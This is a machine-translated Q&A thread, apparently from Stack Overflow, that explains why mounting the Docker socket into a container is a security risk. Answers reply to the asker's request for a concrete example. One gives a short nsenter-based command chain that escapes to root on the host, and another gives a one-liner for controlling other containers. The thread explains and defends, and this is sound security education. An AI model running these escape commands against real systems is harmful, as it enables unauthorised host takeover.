在this blog article，我在评论中找到以下引用：
本·菲尔什曼
是的——你说得对，我应该指出 Docker 套接字的安全问题。这是目前在生产中实用的主要障碍，正如您从待办事项列表中注意到的那样，我们肯定正在寻求帮助以使其更好地工作。
虽然我相信这对许多人来说是有道理的，但对于我们其他人来说，有人可以用清晰的术语准确地解释这个“安全问题”是什么吗？我假设它指的是：
volumes:
- "/var/run/docker.sock:/var/run/docker.sock"
在 docker-compose 文件中。那是对的吗？这将如何被利用？这是否有效地禁止生产使用这种方法？如果是这样，是否有解决方法？
【问题讨论】：
标签： security docker docker-compose
对于我们其他人来说，有人可以用清晰的术语解释这个“安全问题”到底是什么吗？
docker /var/run/docker.sock 的所有者是容器运行所在主机的root，默认组成员身份为docker 组。这就是为什么在另一个容器中挂载var/run/docker.sock 会为您提供root 权限，因为现在您可以执行具有docker 组成员身份的root 用户可以执行的任何操作。
这是否有效地禁止了这种方法在生产环境中的使用？如果是这样，是否有解决方法？
对于解决方法，这些帖子可能会有所帮助：https://integratedcode.us/2016/04/08/user-namespaces-sharing-the-docker-unix-socket/ 和 https://integratedcode.us/2016/04/20/sharing-the-docker-unix-socket-with-unprivileged-containers-redux/
退后一步，了解您需要挂载var/run/docker.sock 的用例并查看是否有其他方法可以满足该用例会很有用。不幸的是，如果问题中没有用例描述，很难提供避免安装 unix 套接字的替代方案。
祝你好运，感谢你尝试做正确的事情！
【讨论】：
这是一个老问题，但我希望我能给你一个准确的例子。
有人能用清晰的术语解释这个“安全问题”到底是什么吗？
这里是漏洞利用的核心：
sh0% docker run -v /var/run/docker.sock:/ourdocker.sock:ro -it ubuntu bash
sh1# docker -H unix:///ourdocker.sock run --privileged -v /:/host ubuntu bash
sh2# nsenter --mount=/host/proc/1/ns/mnt --pid=/host/proc/1/ns/pid
sh3# # now we are in the host namespaces with root access
如果您使用用户命名空间，这个问题更难利用，但在某些情况下仍有可能发生（并且您仍然可以影响在同一主机上运行的其他容器）。
请注意，虽然上面的示例使用了--privileged，但在没有--privileged 的情况下也可以这样做（因此，即使您有一个阻止--privileged 的Docker AuthZ plugin，您仍然无法避免类似的事情这个）。
【讨论】：
任何可以写入 dockerd 套接字的进程在主机上也有效地具有 root 访问权限... 好吧，您能否在生产中使用它取决于您。
【讨论】：
接受的答案提供了很好的解释，因此我不会重复有关您正在安装 root 拥有的文件这一事实的任何细节。
也许下面的例子对一些读者来说是微不足道的，但我很惊讶没有人提到它。
请记住，您可以访问主机上一个非常特殊的文件 - docker.sock。
因此，如果您在容器中安装 Docker：
apt-get update
apt-get install docker.io -y
或者作为容器创建的单线：
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:latest sh -c "apt-get update ; apt-get install docker.io -y ; bash"
（在容器内使用docker ps 检查您是否看到其他容器在主机上运行）。
现在您可以完全控制主机中的其他容器。
【讨论】：